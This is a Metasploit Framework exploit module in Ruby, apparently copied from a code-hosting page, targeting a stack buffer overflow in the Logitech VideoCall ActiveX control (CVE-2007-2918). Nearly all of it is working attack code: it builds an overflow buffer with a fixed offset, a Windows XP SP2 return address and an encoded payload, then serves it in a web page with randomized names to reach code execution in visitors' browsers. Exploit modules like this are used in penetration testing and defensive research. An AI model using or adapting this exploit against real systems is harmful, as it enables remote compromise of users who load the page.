91 lines
2.3 KiB
Ruby
91 lines
2.3 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Logitech VideoCall ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the Logitech VideoCall ActiveX
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Control (wcamxmp.dll 2.0.3470.448). By sending a overly long string to the
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"Start()" method, an attacker may be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'References' =>
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[
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[ 'CVE', '2007-2918' ],
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[ 'OSVDB', '36820'],
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[ 'BID', '24254' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP Pro SP2 English', { 'Offset' => 120, 'Ret' => 0x7c941eed } ],
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],
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'DisclosureDate' => 'May 31 2007',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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# Set the exploit buffer
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sploit = rand_text_alpha(target['Offset']) + [target.ret].pack('V') + p.encoded
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# Build out the message
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content = %Q|
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<html>
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<object classid='clsid:BF4C7B03-F381-4544-9A33-CB6DAD2A87CD' id='#{vname}'></object>
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<script language='javascript'>
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var #{vname} = document.getElementById('#{vname}');
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var #{strname} = new String('#{sploit}');
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#{vname}.Start(#{vname}, #{vname}, #{strname});
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</script>
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</html>
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print_status("Sending #{self.name}")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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